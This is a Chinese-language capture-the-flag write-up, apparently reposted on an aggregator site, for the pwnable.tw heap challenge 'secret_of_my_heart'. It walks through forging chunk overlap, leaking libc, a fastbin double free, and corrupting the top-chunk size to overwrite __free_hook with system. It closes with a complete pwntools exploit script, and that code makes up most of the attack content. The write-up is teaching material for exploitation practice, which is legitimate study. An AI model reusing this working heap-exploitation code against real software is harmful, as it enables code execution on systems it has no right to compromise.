失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 【tw】secret of my heart(2)

【tw】secret of my heart(2)

时间:2023-05-28 00:12:39

相关推荐

【tw】secret of my heart(2)

本题另一个思路。

程序

程序已经分析过一次了。见链接

思路

这是在看雪上学到的一个思路。参考链接

这是另一种稍微简单一点的构造堆重叠的方法。

1.首先布置一下堆块,完成堆块合并,这里比较简单:

add(0xf8,'123','/bin/sh\x00') #0add(0x68,'123','/bin/sh\x00') #1add(0xf8,'123','/bin/sh\x00') #2add(0x68,'123','/bin/sh\x00') #3add(0x68,'123','123') #4remove(1)remove(0)add(0x68,'123','/bin/sh\x00'+'a'*0x58+p64(0x170)) #0remove(2)

2.申请 = #1 size 大小的 chunk,此时 main_arena 地址在 #0 中,show(#0) 完成泄漏 libc.

add(0xf8,'123','/bin/sh\x00') #1show(0)

3.继续从合并的 chunk 中申请和 #0 同样大小的 chunk,此时堆块重叠,制造 double free.

add(0x68,'123','123') #2 same as #0# double freeremove(0)remove(3)remove(2)

此时 bins 中只剩原来触发合并的 0x100 的 chunk #2 在 unsorted bin 中。

4.然后就是这次学到的重点,因为 free_hook 上方没有合适的 size 来通过内存错位伪造 chunk,但是在 free_hook -0xb58 处存在一个数值,可以作为 top chunk 的 size,因为通过 double free 申请到 malloc_hook 上的 chunk 大小不能覆盖到 top chunk 的值,所以通过这个 chunk 先控制 fastbin 0x70 的链表头指向附近的地址并且布置好 size,形成如下的效果,然后再申请到的 chunk 就可以修改 top chunk:

add(0x68,'123',p64(malloc_hook - 0xb))add(0x68,'123','123')add(0x68,'123','123')add(0x68,'123','\x00' * 0x1b + p64(0) + p64(0x70) * 3 + p64(malloc_hook+0x20))add(0x68,'123','\x00' * 0x38 + p64(free_hook-0xb58))

成功修改:

然后就是计算一下,分配到 free_hook 并改为 system:

# 0x12 * 0xa0 = 0xb40 然后还有之前 unsorted bin 中剩下的chunk,一共 19 个for i in range(0,19):add(0x90,'123','123')add(0x90,'123','a'*8+p64(system))sl('3')ru('Index')sl('1')

完整exp

#encoding=utf-8from pwn import *p = process("./secret_of_my_heart")# p = remote("chall.pwnable.tw", 10302)elf = ELF("./secret_of_my_heart")# libc = ELF("./libc_64.so.6")libc = elf.libccontext(log_level = 'debug')DEBUG = 0if DEBUG:gdb.attach(p, ''' b *0x08048935c''')def dbg():gdb.attach(p)pause()se= lambda data:p.send(data) sa= lambda delim,data :p.sendafter(delim, data)sl= lambda data:p.sendline(data)sla= lambda delim,data :p.sendlineafter(delim, data)rc= lambda num:p.recv(num)rl= lambda:p.recvline()ru= lambda delims :p.recvuntil(delims)uu32 = lambda data:u32(data.ljust(4, '\x00')) uu64 = lambda data:u64(data.ljust(8, '\x00'))info = lambda tag, addr:log.info(tag + " -> " + hex(addr))ia= lambda:p.interactive()menu = "Your choice :"def cmd(idx):ru(menu)sl(str(idx))def add(size, name, secret):cmd(1)ru("Size of heart : ")sl(str(size))ru("Name of heart :")se(name)ru("secret of my heart :")se(secret)def show(idx):cmd(2)ru("Index :")sl(str(idx))def remove(idx):cmd(3)ru("Index :")sl(str(idx))add(0xf8,'123','/bin/sh\x00') #0add(0x68,'123','/bin/sh\x00') #1add(0xf8,'123','/bin/sh\x00') #2add(0x68,'123','/bin/sh\x00') #3add(0x68,'123','123') #4remove(1)remove(0)add(0x68,'123','/bin/sh\x00'+'a'*0x58+p64(0x170)) #0remove(2)add(0xf8,'123','/bin/sh\x00') #1show(0)ru("Secret : ")libc_base = u64(ru("\x7f")[-6:].ljust(8, '\x00')) - 0x68 - libc.symbols['__malloc_hook']info("libc_base", libc_base)malloc_hook = libc_base + libc.symbols['__malloc_hook']free_hook=libc_base + libc.symbols['__free_hook']system=libc_base + libc.symbols['system']add(0x68,'123','123') #2 same as #0# double freeremove(0)remove(3)remove(2)add(0x68,'123',p64(malloc_hook - 0xb))add(0x68,'123','123')add(0x68,'123','123')add(0x68,'123','\x00' * 0x1b + p64(0) + p64(0x70) * 3 + p64(malloc_hook+0x20))add(0x68,'123','\x00' * 0x38 + p64(free_hook-0xb58))# 0x12 * 0xa0 = 0xbe0for i in range(0,19):add(0x90,'123','123')add(0x90,'123','a'*8+p64(system))sl('3')ru('Index')sl('1')ia()

如果觉得《【tw】secret of my heart(2)》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。